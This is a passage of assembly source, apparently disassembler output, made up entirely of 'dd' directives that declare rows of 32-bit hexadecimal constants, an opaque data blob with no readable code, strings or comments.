		dd 0C021456Eh, 0A365362Ch, 2DC00049h, 60441991h, 820C5B9Eh
		dd 58C89994h, 7615194Eh, 1806601Bh, 10363F25h, 0C8E12C90h
		dd 2BCC80BFh, 0A8FE6436h, 2146120Ah, 9B8AF46Fh,	0D8EB8DBh
		dd 3EEC0049h, 6F699C2h,	72928E8h, 2500E0E7h, 0FF4F2D6Eh
		dd 6099EA9Dh, 0D9834179h, 69C3909Fh, 86084F13h,	0A4890520h
		dd 48A77D8Dh, 41CF1288h, 0C15CC36h, 27D0000Eh, 0C810A836h
		dd 31E902BAh, 9E7B40D5h, 1116BC80h, 182D0EBh, 7D360B88h
		dd 0FDE39180h, 2F88662h, 0FEA2F719h, 0FC34E709h, 620500C3h
		dd 6A6F60A3h, 0C774B035h, 0A83E4C00h, 0D981F08Dh, 1568A09Ch
		dd 26AD2067h, 0EFEE4E78h, 1045ED30h, 33566Dh, 27FB588Ch
		dd 92576F68h, 0A8D40407h, 49F3B1B8h, 2AFAC844h,	0E51E01E9h
		dd 307C640Dh, 12D9DC3Eh, 9094140Eh, 0D7473DC4h,	97E0D5BEh
		dd 0A175F6h, 0DE160ADDh, 0A9582C9Ch, 80ACF200h,	8FE410B0h
		dd 95FF342Fh, 391EBC80h, 4D0B1E03h, 0C0318Fh, 5AFC0662h
		dd 0FB8A0033h, 27FAD980h, 0ED0035BCh, 0CE346FF7h, 0EC05B10h
		dd 2E2AF9BFh, 68742621h, 0BB3DE820h, 0E9D83C00h, 0A179CD4Bh
		dd 0E2D0B8FFh, 2458005Bh, 7769421Bh, 9000F7Ch, 30558FD3h
		dd 7B40718h, 594FEBC0h,	6F7DB011h, 0DC00475Ah, 0FE66A00Ch
		dd 0D5E779h, 8122E66Dh,	9B136EFFh, 2607307Dh, 19BEE9D1h
		dd 5EF4A0F0h, 9F96056Bh, 7EE5A74h, 305425A8h, 7D4941A2h
		dd 5EA30803h, 0FD9C36h,	4A5CD331h, 3DFFA475h, 54EBE600h
		dd 15D2DBF2h, 82FC0046h, 7A038376h, 0CF0F440Ch,	0FFC58EE9h
		dd 0B06E6F40h, 0BB8875h, 1BDE2A06h, 0B8E34578h,	10846501h
		dd 4FD6C802h, 0D8EF6880h, 19FC8C56h, 7ED5B700h,	0BB92F790h
		dd 239F00A9h, 64C058Dh,	80E242Dh, 0A070B826h, 0E4CEDAFEh
		dd 610C00BFh, 5F77BCF7h, 8300C3F1h, 3B1D3479h, 1326D592h
		dd 0F8891F0Fh, 622C0F78h, 6A78383Fh, 0FB8818FEh, 0B97D1183h
		dd 859EEC00h, 2F64991Bh, 0CA1A1E6Ah, 50868198h,	0ECD765E6h
		dd 3000DE39h, 3D6157C8h, 1CCC7F7h, 11E79CFAh, 709B8785h
		dd 4F006E7Bh, 6D4CA19h,	0D1BDF3h, 0A83114E2h, 652B320Dh
		dd 49361F30h, 307503C2h, 0E011907Dh, 0DC7A0771h, 0BD001C91h
		dd 6011EE5Fh, 8BE300E2h, 0C6B8704Eh, 6300E0A6h,	7673EB72h
		dd 772207EAh, 56F01AAh,	0B5DABD58h, 0A5E9C8F1h,	0E811E030h
		dd 2053D2h, 0D514597Ah,	0E29D634Bh, 0D6001F98h,	0CB939B76h
		dd 0CAF395h, 3BE5291Dh,	0D104BB63h, 86E09D7Bh, 32151C01h
		dd 40C75354h, 563330h, 49069B3Fh, 0A9F3211Fh, 0D89D7D98h
		dd 9C1500DEh, 97293BCDh, 0F5013747h, 30D3068Dh,	0A9966050h
		dd 0FA8E06FBh, 9F00666Bh, 0F57CC912h, 14EBCF26h, 0C87B3789h
		dd 9B952070h, 0C074B081h, 0A200DE80h, 9F7AB3E8h, 1C11A88h
		dd 0D12293Ch, 0FD4416EDh, 63C6A640h, 0A078960Fh, 411DC0B3h
		dd 1A5B01BDh, 8C3573Ah,	0E7682087h, 0A7AD6400h,	25BE8E2Eh
		dd 0F7520E3Bh, 192068E9h, 9E4AA3Ah, 3876B00h, 0C3F5B7C2h
		dd 90250021h, 351AAB65h, 0C51D6A85h, 98860783h,	3EB07EB5h
		dd 540F5887h, 5E807FD2h, 4E537ABh, 8B01CFE4h, 0C9DAD810h
		dd 9BD4C018h, 0F61100FCh, 5077192Bh, 0B60009D3h, 5C95D0ADh
		dd 30EE1407h, 78A6D75Ah, 0D8003B5Eh, 4212BB4Bh,	0AE94D7Fh
		dd 305A3177h, 0E3CE00F8h, 35F34875h, 4D381418h,	910219h
		dd 0B25B335Ch, 946C73BFh, 0A753C60Fh, 0B4D0EA10h, 6A8E8781h
		dd 7CCD325h, 82A400E8h,	53086804h, 3030F35h, 0FE75C177h
		dd 85CC9845h, 54183DE2h, 24374400h, 63C0A6Ah, 8CA5C301h
		dd 12367A0Ch, 4CC4B6D9h, 27DA0778h, 0C72D8B9Ah,	4E9B60DFh
		dd 2E1D88F6h, 0FA00E245h, 0C8A2C556h, 7C5C0055h, 1A311664h
		dd 0F300A9D9h, 0B140B5DEh, 0E618D2h, 61497152h,	0AEE5A887h
		dd 0B23C5F05h, 7CC09C84h, 3F8306FEh, 0ED5C864Ah, 46119100h
		dd 0A9A325D0h, 1F0007EAh, 0C302624Ch, 3BDF70h, 94CA4BD2h
		dd 561032B2h, 55499205h, 8C009174h, 0A2C9D318h,	4FC0003Eh
		dd 8D1F993Dh, 550FDEAFh, 26B0B35Fh, 3481AE1h, 0A7617150h
		dd 10001B7Bh, 415C7F76h, 12C9360h, 1020E080h, 40315FB7h
		dd 5B9212ACh, 46E6A092h, 3C5B300h, 39EEF6BAh, 0CC9900BBh
		dd 0C01A3E69h, 0A31C9623h, 80BB9B47h, 66589FF4h, 5A3D24h
		dd 996884C6h, 71D21E3h,	0A95EA718h, 9DE2F12Ah, 574A5461h
		dd 0C0BB35F4h, 466FBCACh, 5B11CB00h, 0C01A7ABh,	241612BDh
		dd 0F61C00B6h, 0AE99B67h, 0E73AAF00h, 0CD8EF58Bh, 7C740057h
		dd 0AA662C24h, 5C6081FDh, 464FE219h, 0E1900A2h,	237367A3h
		dd 0D600D45Fh, 0ECCE56FCh, 2CBBD11Eh, 1A8CB5Ah,	2F1D5BCAh
		dd 9B988AE1h, 0E04FB023h, 5883173Eh, 0DAB300EBh, 2BEA5C4h
		dd 5004223h, 189C1C2h, 3E7CD10Eh, 550B168Dh, 0D47613FDh
		dd 2628D200h, 0ECF581h,	0E3D78AAh, 94D10A29h, 0D500C8B0h
		dd 8223FC84h, 48583F4Fh, 0B20B5408h, 3F004385h,	8CE578D3h
		dd 0FB5BAA0Ch, 40B2198h, 0DAC1C891h, 1E00C009h,	0A30013FCh
		dd 8A441B56h, 7A6A6C33h, 25B3002Ch, 20F09EB4h, 6500E243h
		dd 99182442h, 0BAA1C8h,	6D832970h, 0DDD0F158h, 75977100h
		dd 8955C6BDh, 0D2A70B0Eh, 22006A69h, 88A23A78h,	2C81812h
		dd 0C0404037h, 0CD5F68h, 44860A70h, 0ED06A243h,	8769F600h
		dd 559E19E1h, 7ED8EA31h, 849C00D5h, 0B728F465h,	502C3F05h
		dd 0EE60E0A5h, 13D897h,	9147A4F6h, 0A212E074h, 0E1785A00h
		dd 11E9CE77h, 40AF0032h, 0A97A0A88h, 0EF001B4Ch, 19BC8DD3h
		dd 0A79972h, 74FB0E46h,	0CB9B0220h, 39578400h, 0A9F4E52Fh
		dd 0AB607F9h, 0F0FEC08Fh, 0EB8C8B51h, 465B2104h, 490972Dh
		dd 3D99994h, 12A8B0E4h
		dd 6901A1Dh, 50BAF34Ah,	0C88C500Eh, 0B37EE036h,	0F2F090ABh
		dd 0B4701CDDh, 0DF5260h, 0F8BC8217h, 1738CF22h,	0DBA6004Ah
		dd 9D056392h, 9A0324B2h, 2300788h, 0B643A2F0h, 0B81A9048h
		dd 6F09259h, 52566617h,	0E82EE86Ah, 9A8632A2h, 14A465A9h
		dd 83764E7Eh, 0C15E6626h, 18BF1390h, 1F80C5FDh,	0DD85825Ah
		dd 37601C8Eh, 7BB2651Bh, 2D3C987Ch, 5ADE053Fh, 3CC0F60Ah
		dd 672B8325h, 81205813h, 40D31AA4h, 0B7C43B20h,	6318E2FEh
		dd 0B208CB0Eh, 0E170D811h, 8F3BE3ACh, 9D3F8Dh, 0AAF0707Dh
		dd 16530A50h, 1D138E14h, 41DF01A5h, 8589B257h, 0E8A7BF88h
		dd 18A0FFC7h, 105901h, 1D2F586Ah, 0B1F878Ch, 0AD817400h
		dd 189AE376h, 709C3FEFh, 0A430AAh, 0DF19A00Eh, 358FAE84h
		dd 7B5E9A00h, 0BE43A611h, 0B2BB0020h, 0A9949D67h, 1A008DB5h
		dd 2C978EC2h, 64B36Ch, 0B06A043Eh, 8A08D4D1h, 0F481850Fh
		dd 846740F0h, 70A96E0Ch, 0D5C40026h, 0B9BAB154h, 61DA521h
		dd 0AD80A0E7h, 5A697F84h, 7B0B0047h, 0FE61DD1Eh, 8B00DE14h
		dd 2811D334h, 5CEEFB32h, 1600402Ah, 8EB0EC03h, 960E524h
		dd 7468D1A4h, 0C733171Fh, 0BFF1D97h, 6380FF3Dh,	0C5924ECBh
		dd 8D43DB00h, 481712CEh, 0F1A40075h, 9EFEFD31h,	2A03C18Fh
		dd 5E6AD7D9h, 0D22C40E1h, 8EB138D0h, 0AF0C6401h, 0C53E4435h
		dd 9CF160CBh, 489A7A00h, 0AE7FB7E4h, 1C4712BEh,	33E70F29h
		dd 0FF800129h, 977DE45Eh, 5DCE6B09h, 0A4C087A1h, 829FEC0h
		dd 0AECC1FE5h, 0B60CC033h, 0A7A26E79h, 389D050h, 0C82442F2h
		dd 26807878h, 7D46896Ah, 50AB7CF0h, 0F4E0A822h,	4549417h
		dd 0C0C59F6Eh, 0F5A796E6h, 0E7042CBAh, 0EBA013DBh, 90943744h
		dd 2A5FFE8Ch, 3D3F8C00h, 66819C41h, 0FC42060Ah,	41D20BDFh
		dd 50298001h, 0C4A9DA48h, 3C9C5170h, 3751D89h, 29560F2Ch
		dd 0C9989119h, 6A4C5AB6h, 8F390084h, 0D3CAE51Fh, 0D275004Fh
		dd 0FD2B744Dh, 0D70023E2h, 82BD46E3h, 0FC277EAh, 0BCE1480Ch
		dd 17063E20h, 98005D16h, 7266A7Ch, 1C3F0A1h, 0EF45E8C0h
		dd 82E9E6DDh, 5C2A28B0h, 4C8480B6h, 0D953F2h, 1783597Eh
		dd 3D059798h, 8B9D0C00h, 0FC4084E5h, 4FE30134h,	2F9C17E7h
		dd 148847CBh, 42CA404Eh, 1D25406Ah, 0C0E28D04h,	0D8A0D6FDh
		dd 9B16E132h, 0BA0A9DBFh, 26008C72h, 5D95A4B7h,	1E4E3A82h
		dd 3335A9Eh, 0B0FD9AFAh, 3AF431CAh, 16045400h, 1FFBD41h
		dd 361CAB8Bh, 9CFEE093h, 0FEA20880h, 3029155Fh,	9601E8DFh
		dd 0B08A4CB7h, 17DAC9F7h, 0E9F689D0h, 0A1840081h, 49E217B8h
		dd 0CC05078Fh, 21A652FFh, 185C609h, 73DFD754h, 4B57D8h
		dd 994CD8D6h, 0E7A53462h, 0FAFD6B01h, 0E9C52D94h, 0E2A4C840h
		dd 0EE261259h, 11D840C7h, 0A115ED0Dh, 42CBEF0Fh, 7C0F00C0h
		dd 7499FB9h, 0E6D3DB64h, 8320B224h, 3600B85Ah, 0C3AD7801h
		dd 0E0DBFFDCh, 8E9F03C1h, 0DF224621h, 8C41B290h, 0F414A300h
		dd 0D6308B91h, 0D9800067h, 8796B77h, 0D400EB0Fh, 18E947B8h
		dd 1718A2Dh, 0BF30F732h, 70A403ADh, 0E600F4B8h,	0D9441F13h
		dd 6DA41h, 0B6A62091h, 0B1C11D82h, 0EB44900h, 1259AEB0h
		dd 21F96098h, 0F7C988FCh, 116A9E00h, 0D32295A5h, 774F011Fh
		dd 0CB12F418h, 2AA840FBh, 8400342Ch, 0BDD8F745h, 7D6ECh
		dd 0D7E8F471h, 0E66105F8h, 0AC947805h, 0E4C152E9h, 0E236B7h
		dd 17ADEAA2h, 15C79100h, 0F44204F6h, 811800ECh,	6DD91A52h
		dd 4E2E20AAh, 4491C40h,	8D08279h, 50B70C5Fh, 2C858CD8h
		dd 261F02Bh, 8D997BCh, 0FB6A9C40h, 81F99E0Bh, 5498A082h
		dd 1E35138Dh, 40B95E1Fh, 0BCEB203Ch, 9302B7F1h,	611D92E4h
		dd 7C8480DAh, 86B308h, 9D0A9C56h, 13BAB25Dh, 98C73800h
		dd 8DA5046Ah, 50D70511h, 75372D8h, 0DE2C8CB1h, 0ECE64B60h
		dd 0E9127B3Ch, 49C831h,	9E01F5BCh, 0E40E60AEh, 14249FDDh
		dd 0A806CF3h, 0A8DA3ABBh, 0DEE90F20h, 0D3C0A973h, 4BD51E4Dh
		dd 471F54E6h, 30F7BE1Dh, 89BBC42Ah, 7E651D9h, 41412D5Ch
		dd 22E043DDh, 0BCA70308h, 5988BD15h, 0C0AFDC99h, 0A000D8F8h
		dd 0C503D641h, 1DB1078Bh, 1570964h, 7A2EE11Dh, 0C7308789h
		dd 5F10CE81h, 12D66D02h, 0C0061548h, 8F46C62Ch,	0E714440Fh
		dd 254C40E1h, 90D45503h, 0BF7390h, 9D397399h, 0DBFBA113h
		dd 0C84C5FFCh, 80A22545h, 1997AF30h, 0C1140048h, 0AB705AE7h
		dd 2300C943h, 0B164CEFCh, 155ED2h, 652D6349h, 308CE23Ah
		dd 6B80400Ah, 1A00D472h, 0E0E4BFA1h, 15430729h,	21937133h
		dd 803969CCh, 8642D630h, 76D5D2ADh, 0C1C70189h,	6931A8A3h
		dd 0D888811Fh, 433F5EABh, 99DE1181h, 9FCDFA72h,	4870F1EEh
		dd 0AAC5C4h, 98791976h,	0D6AD5C95h, 805E9B3Fh, 0B838F483h
		dd 72C44A64h, 74E71D47h, 33D48029h, 0E6903AB5h,	2E404200h
		dd 658E31A0h, 208C00C1h, 8218D823h, 1600EA39h, 90602AC2h
		dd 37FCE7h, 0BBDBCC44h,	0C303636Dh, 0CBE1FA1Fh,	0E8D18B00h
		dd 1F6ED654h, 15F68BAh,	0A09A63C4h, 8E91701Ch, 2A313600h
		dd 0D9054DAFh, 637607A2h, 0E0802CFCh, 0DE82D8A6h, 216D7A00h
		dd 7B5A6F45h, 0DAF900A1h, 0C3283296h, 69000B46h, 0F1837913h
		dd 0A864F5h, 36C22A6Ah,	6509359h, 0D84438h, 7C6C90AEh
		dd 0E43D4D0h, 27FF7980h, 9B1CECC0h, 20393A5Fh, 59CD9F9Ah
		dd 161C391Fh, 83F8EEDFh, 0C12E567Bh, 5ABD90FCh,	24F973DEh
		dd 3988442h, 0CDD53BDFh, 605F77AAh, 16CAB33Ah, 0D0929h
		dd 0BC86F81Ch, 664E42C6h, 50005453h, 0E502A4F5h, 0AE440015h
		dd 0C0DEE405h, 867A56FFh, 0B000D94Bh, 2552CCBDh, 3A75EADAh
		dd 2A8971ECh, 70092FC5h, 3A014356h, 4D05F203h, 0FA88B028h
		dd 26317664h, 0F29AD10Ah, 211DA450h, 0BA40014Dh, 1FC38C90h
		dd 1B60076Ah, 3392DDh, 0F604B295h, 30B3C894h, 0F858780Ch
		dd 8F5A3AC5h, 0ED941907h, 7082A07h, 203C851Ch, 1C2B28Ah
		dd 879E50C0h, 0F8B6EBAh, 0CB1D9AF7h, 1FBFC940h,	88008EF9h
		dd 84F62EFFh, 0F9054CCh, 0FE2F40BBh, 8A03CD20h,	9D007AFCh
		dd 0CED34A81h, 13BD95h,	4B0D9A96h, 0FE06209Eh, 7324571Ch
		dd 9C8DC401h, 5421E33Ch, 4549B880h, 7B4E83DBh, 68D1E12Eh
		dd 1820FC80h, 53FB90h, 2FC8194Fh, 0A81DE9DAh, 3E858B00h
		dd 23F45DA7h, 81580086h, 6C68096Fh, 16019D64h, 85B715B1h
		dd 0F074E782h, 0B90C006Eh, 122DA859h, 99006964h, 1F0D9DDBh
		dd 50E1Bh, 0BB535DAEh, 0F8D9671Ch, 40CB8E00h, 71FECE23h
		dd 5A4C0043h, 4DE0E52Bh, 1939569Eh, 0F23F0073h,	681C35F7h
		dd 5B890061h, 0D8C397F4h, 760E8C2Ch, 0C7A3E579h, 40DE5EA6h
		dd 46BC0D14h, 3F2E02BFh, 6EFE5D67h, 82F58A40h, 4FB5B700h
		dd 0A117020Ch, 884809DFh, 0F5004A2Dh, 464D3AACh, 4C5FF200h
		dd 2B7C134Eh, 9F8B005Eh, 877D5212h, 401357CDh, 10329051h
		dd 0A38160E1h, 44BC0016h, 562F41DDh, 4D073983h,	0DA7B4698h
		dd 2195C980h, 44CB0311h, 53E989C7h, 0D59B001h, 0A81C67F1h
		dd 0E86BAC70h, 93423FA4h, 8A31C081h, 20023B15h,	3AB0A05Ch
		dd 45CC5317h, 0D9B5AC20h, 5A9C0335h, 0EA7EC0C7h, 80851928h
		dd 47CBE802h, 0E1EE5563h, 0C869CC84h, 946B3A00h, 18E020BEh
		dd 2B01ABF0h, 0E8E1CF85h, 0A4749C6Ah, 13B32F0Ch, 0B560148Fh
		dd 8A4106A2h, 6800517Eh, 0E486FFACh, 2031F17h, 941D5D73h
		dd 80C0D6A3h, 0B0398BFAh
		dd 1AA180D1h, 7A99AA7Dh, 4D4F0084h, 135BC9EFh, 921F8C91h
		dd 818E88AEh, 542C80E7h, 2522A1h, 1D9CF9Dh, 0C4D2FFFCh
		dd 4CB71D0Ch, 0B3B8B8h,	7071133Dh, 0E674A416h, 2FBD4600h
		dd 8F93DA7Eh, 3D7A0058h, 0F59940E8h, 29F4E6CBh,	302D6B00h
		dd 44355B68h, 8DD10037h, 69140BD6h, 52D289Ch, 0A52FE9Fh
		dd 8989042h, 0DBBB5217h, 3B04BC43h, 0D88ACBA1h,	305A2409h
		dd 0C580E4D6h, 0B7E46CF7h, 177A7701h, 0B42C297Eh, 0B8CC90EFh
		dd 71B502D0h, 0DEC4ABAEh, 58BB9163h, 826E57A0h,	624632C0h
		dd 5021EFB1h, 8BC02Dh, 0E0899C30h, 0E10CBF1h, 6B989962h
		dd 6DAF220Ch, 90151010h, 58B254h, 0EB90CBDEh, 0E29BEF8Bh
		dd 0D0030C92h, 73850E51h, 1321F86Dh, 186C000Dh,	7BC88794h
		dd 1A149F55h, 0B4241Ch,	68C64B4h, 37FC1DDh, 485F6547h
		dd 0D812B2A5h, 144089E4h, 61AC5A4Fh, 505B259Ch,	1B121BD8h
		dd 3C4173C7h, 9B59AEB2h, 0E42D35C1h, 6500FC3Eh,	0A590EF43h
		dd 6E07E792h, 22C6F1F6h, 1170804Bh, 3D98AEh, 16510F2Ch
		dd 0F428F2E6h, 0F953B500h, 36EDE589h, 0EA5601AFh, 22936A9Fh
		dd 4EE8DF37h, 0AB0F2F95h, 800A1FA5h, 0D1D32B1Ch, 0F752007Ch
		dd 13408012h, 0B226B521h, 0E628225Dh, 45AE3103h, 0ED3BEE47h
		dd 29768A4h, 1252A0D0h,	81407453h, 8A00554Ch, 67687C7Ah
		dd 0B80917DAh, 0E7EF2244h, 501F95ECh, 930098F5h, 78FBF7C9h
		dd 6B0A00DAh, 0E3FF1A31h, 0AD60BA1Ch, 3D169F11h, 5DFC4Ch
		dd 0C7DB109h, 0A1E9FADFh, 915C597Fh, 0F22C00BDh, 0E51C739Bh
		dd 0E183009Ah, 0A5E38BE0h, 7500C4B6h, 0D23AF4F5h, 3CD494h
		dd 63465479h, 0F29657D6h, 90A391Ah, 4FCC803Ah, 17AFBDh
		dd 7E5BFE11h, 73DE49A4h, 8155FC00h, 3BF148CFh, 535E09BBh
		dd 8057F7BCh, 0E8427DB0h, 0DCC10CB6h, 99F01076h, 6D158800h
		dd 2A74ED9h, 0EC1F7EA4h, 92982DA5h, 0E9D71400h,	0D419FD5Eh
		dd 7B00455h, 48B384F8h,	0B00034AEh, 8772EE2Ah, 3E1E7D85h
		dd 55C0144Bh, 0C5B396BBh, 1C2C72F4h, 8AA5C179h,	0ECA780h
		dd 0FFAE6C18h, 3B001D1Ch, 325677D2h, 3A546Bh, 0F46A5D26h
		dd 0E738C040h, 418DC800h, 5CD4BB22h, 6310F88h, 0D2C0E862h
		dd 2632F5D1h, 96EE6A00h, 71D35E02h, 708700ABh, 0D67C7592h
		dd 28031397h, 0B2BA9A1Bh, 0F99DA885h, 17E301C6h, 68A5B530h
		dd 98CCD8C5h, 798BB200h, 0F2A95980h, 978924Bh, 0F883087Fh
		dd 0ACDA2D80h, 6006955h, 0A83DFE12h, 3C01744Ch,	6C0037D7h
		dd 8A9C625Dh, 0F03077Eh, 0BABF4B31h, 0D3B2B01Ch, 1F204C17h
		dd 1EB9D00h, 3D56BEF0h,	0CFB1A018h, 44CDB2h, 0BC559932h
		dd 0AFEEA251h, 0F907A890h, 9775CB86h, 0D44BC730h, 856800B7h
		dd 2B8177A9h, 9D267B0Fh, 600014B9h, 4E6ECBC3h, 6A570091h
		dd 0EB382FB1h, 65009F8Fh, 1144EDBBh, 0C092605h,	0E0180139h
		dd 2D00A0E9h, 0A5445F79h, 0EE6F4EA4h, 29FF0076h, 0B33292E3h
		dd 1C9A87C1h, 17FAFD12h, 139740C8h, 0C1EBA90Fh,	2A1B47ACh
		dd 379C402h, 1630584Ah,	0E88407C6h, 13D20D17h, 91C019B0h
		dd 27EA01E6h, 6604C025h, 0C5610739h, 9420486Eh,	7BE80951h
		dd 0A6073133h, 8FFF700Eh, 0AF4873DDh, 62A509C4h, 7028602Dh
		dd 0F8D47761h, 0F9F21Eh, 2C230B41h, 37BB791Bh, 0CC70F500h
		dd 0CDBF0F65h, 0B82D0056h, 3DEBD8C5h, 0F90090B5h, 0A23BBA4Fh
		dd 328AE2h, 31EAE85Fh, 8C586973h, 9C40834Eh, 20D45A0h
		dd 9F430084h, 6434BB01h, 58B057F8h, 378C993Dh, 4BE0904Fh
		dd 346A6E0h, 0FC3EE6EEh, 0E1A7898Fh, 6C09EA5Fh,	20E01C7Ch
		dd 99F5FFC0h, 7DCA2D9h,	0C76A13F7h, 1841E0BAh, 2413E6E9h
		dd 0C90B705h, 0B1AE833h, 97E354BAh, 0C2D21580h,	7430687Eh
		dd 783B6803h, 394E2A9h,	2F138CF0h, 93E8B13Fh, 9898F562h
		dd 2D22F800h, 5F0219DBh, 0A2CB3F33h, 0D4F00A98h, 0C073721h
		dd 0ECF251A8h, 9C86AE0Eh, 0BDCF6D80h, 139FB639h, 4EF709ADh
		dd 0EE9D9E80h, 55FA4058h, 54177060h, 0C439518h,	0B0ED356Ah
		dd 75970Ah, 0D7F7A9BCh,	0B4547386h, 48A9704Ch, 35B10024h
		dd 0D5209C9h, 658800A9h, 1BD948F8h, 0F094DB07h,	0C87F238Bh
		dd 4BD36C6Ch, 8020402Bh, 5011958Ch, 0FC0410A0h,	90DA1CA2h
		dd 792D93Ah, 846F1962h,	604200CFh, 812675h, 6D5B6502h
		dd 8051CA97h, 0E556E100h, 0C1AA967Ch, 0C38C0B98h, 83008221h
		dd 0B7BE05BAh, 4A4AF9D4h, 663D6840h, 951D956h, 9946618Dh
		dd 15402C62h, 8BE9AF7h,	0A33D2D01h, 0E478D01Ah,	0F4B64387h
		dd 68B9018Ah, 4330DD54h, 0DCCA0117h, 64C37653h,	1BA2E412h
		dd 0E06FD4BCh, 0F610D0EFh, 12E51E17h, 0C87CC358h, 38A82D45h
		dd 24004B5Bh, 0CB8A6316h, 0BAA60Ah, 0B7993EA1h,	0DCDB25D9h
		dd 7A2D5400h, 7D3A6356h, 232800BAh, 5F295808h, 25078CA2h
		dd 5D57F1Dh, 0E6F64100h, 490B001Eh, 0FB74576Fh,	8D243547h
		dd 0BD00CE02h, 3D25A8F6h, 247A00FDh, 6EC4156Dh,	8A00B70Dh
		dd 0E95CAE2Fh, 2E01A560h, 0F6C061h, 7816CE45h, 1F003B1Ah
		dd 543497D8h, 1587CC90h, 94BBA64Ah, 0C13D2607h,	54C63021h
		dd 3E64059Ah, 78E05908h, 0C13400C5h, 7BF27D35h,	14051137h
		dd 264D53EBh, 8FEA0F80h, 5A2C0006h, 0E9D9B479h,	9501BBB7h
		dd 24983590h, 68240D1Eh, 0D7B00067h, 0BAA78C9Ch, 76640492h
		dd 30937008h, 24D7C0CDh, 0DB10007Eh, 0D35D9112h, 0AB637B11h
		dd 1B2FB50h, 15893D28h,	0ECB96CB1h, 604C69Fh, 0B478B3CCh
		dd 7C9B2091h, 95E03AD0h, 83BE8020h, 0D901B34Ah,	11B6639Ah
		dd 60D165D2h, 0AB572180h, 7DAD1B48h, 69D69F0Dh,	1C4450B4h
		dd 95F38443h, 0A4759885h, 0B84F24C8h, 2D5E0101h, 0D0ED2CFBh
		dd 0B0A7B971h, 72605C64h, 7C7BD936h, 90AAC77h, 28573908h
		dd 7DBD6031h, 0E3421300h, 0BBC9CA00h, 419FFBB6h, 0F4480038h
		dd 1C50891Bh, 31D1092h,	0FD409A23h, 0E50DCE67h,	0DC8700D6h
		dd 0BD712F59h, 0F707BAA2h, 0A04E4522h, 85BB8069h, 0E28F3DADh
		dd 0AE1B0080h, 0E1A6F478h, 2778B350h, 67F02401h, 0BEB7A996h
		dd 0B1608C4h, 0C8458CF8h, 405A7B80h, 1875BA03h,	0A8A70D50h
		dd 89145D00h, 762B2454h, 507100F2h, 1646BE73h, 709D51Fh
		dd 87D4351Bh, 0F9D0326Ah, 3C028h, 0F6AF95E9h, 3C30A348h
		dd 3272DD00h, 3AD3F038h, 0FF800042h, 5AAD7B03h,	0AC009D27h
		dd 92BB16E2h, 1D5CC8h, 17DE31EEh, 0ADA18F83h, 3D68F500h
		dd 53F169F3h, 77E53804h, 128B0079h, 0D8EC2A3h, 98006D9Ah
		dd 0F87AE1C8h, 0A92C6Fh, 0E5378D27h, 0FE73D025h, 0DD0714FAh
		dd 0B4301DABh, 667FA420h, 7E0D5C35h, 74F67200h,	3DA1A5F0h
		dd 4B1E700h, 1708E409h,	0BDDD0316h, 0CB30E69h, 220B5086h
		dd 8046EC2Bh, 8C66BB7Dh, 49640F7Fh, 5C40D991h, 28EA8394h
		dd 92DA1F05h, 80403BBDh, 170C9F62h, 0E9AC012Ah,	0C68418E8h
		dd 0DCC2F54Bh, 66095F81h, 82DE0740h, 401E5A88h,	7D7D2B21h
		dd 0BFFA00F3h, 0A670A36Bh, 68392EFCh, 83C707E3h, 0CE60AB6Ah
		dd 0EE4C59h, 2210D770h,	0D48CD6FCh, 0C7B76003h,	0C7BC212Eh
		dd 0DAE6AF50h, 9A9E009Dh, 3B996D8Ah, 5AE6A8F1h,	5D735C0Eh
		dd 0BFD8A064h, 722FF33h, 0C83A8AAAh, 722E40C6h,	4D0E3B27h
		dd 9FB04664h, 0DD38C940h, 3862F50Dh, 93012EE7h,	7EEA8DB8h
		dd 1D9040FEh, 0D0C091F6h, 24752E18h, 0D4600130h, 93A9D347h
		dd 0D09BC7FAh, 90A2BAFAh
		dd 0D040D28Ch, 0C20026B3h, 72572B58h, 76759Eh, 6EBB0A3Dh
		dd 0F1B556D4h, 91C55500h, 7C1C36D1h, 122E649h, 52797A1Fh
		dd 0C00B9324h, 2054FC96h, 2100DBC8h, 74E41B31h,	0E4ADE962h
		dd 9D9C0085h, 2A13AE5h,	0C3012ABBh, 160F0BA4h, 0F0EC4C19h
		dd 8D610003h, 2DB743D7h, 8C0056DFh, 66FF13BCh, 2414ED0Eh
		dd 348B2C0h, 3D5BABCBh,	0AAD13CCFh, 8C24B03Eh, 0A0BBDB3Bh
		dd 0A8722462h, 0E1B10018h, 0C2702943h, 1E21B1A0h, 935AA8C3h
		dd 7A3DF8ABh, 0B7E80073h, 0E4F7CB3Eh, 0D300815Bh, 6D848E7Bh
		dd 354096h, 99BB10BCh, 0B8DDF0A0h, 650936ECh, 8B397620h
		dd 51B400D0h, 1C816DABh, 7F74AACAh, 853DED80h, 0C0B2EB52h
		dd 42FB6300h, 9CA4BC84h, 7FF0FAh, 4E884926h, 9E985879h
		dd 7990958h, 6AE4FECFh,	0F85BD440h, 0EAE6007Fh,	1EA8E145h
		dd 830063BFh, 953027F0h, 10D8B7h, 0CD66DA8Eh, 0B022A1D6h
		dd 32A6C100h, 63F8D044h, 248DB811h, 8F140948h, 0E0E04BFAh
		dd 7B406242h, 3700907Eh, 14B79F78h, 58AE2Ah, 3F793225h
		dd 0B876FB80h, 0A0B2E802h, 8797CAEFh, 0ECFAE3ACh, 0FA6CF882h
		dd 90507DCFh, 8B005171h, 0A1558D9h, 1EF9E763h, 1666DFDh
		dd 899D8638h, 794DE4AAh, 181CBD03h, 90A03729h, 0FFEF12h
		dd 7BB6E317h, 268B50E0h, 16B5648h, 0CAD3C54Bh, 97C40CDFh
		dd 0F9D0024h, 0A9B7DE5Bh, 0E500B131h, 80636A64h, 324A23h
		dd 9E190C2Dh, 3315A3E7h, 0FCDF3028h, 9ABA4300h,	0D6547C24h
		dd 0E46500AAh, 6F48620Ah, 4602C509h, 0E14CEFB4h, 2448613Fh
		dd 693049C5h, 1490783Ah, 94F282BBh, 0D1FAB700h,	57074F74h
		dd 268DAA1Fh, 72431B1Fh, 7D3A7919h, 0D2B10040h,	8A1E1A82h
		dd 4F1F771Fh, 5500B58Eh, 3372C0F9h, 4C5D48DDh, 0E6B82A00h
		dd 39851DECh, 967024E7h, 58EDF013h, 0B3356000h,	108AAC2h
		dd 79EE45C6h, 939A994Ch, 0C4015A90h, 0B011F7Ah,	1D04420h
		dd 97BF4FF5h, 0C81BEE84h, 3244E77h, 50030C34h, 0C14BCBE6h
		dd 9D40264h, 21A500D9h,	14934618h, 0A714C4FEh, 0D6C6AEh
		dd 0F6E67C83h, 102FD3Ch, 9FBD40F1h, 0F88F0868h,	2E0E3456h
		dd 69FE76BCh, 0A3B580C7h, 658E23h, 0DAB9D1F1h, 3D80826h
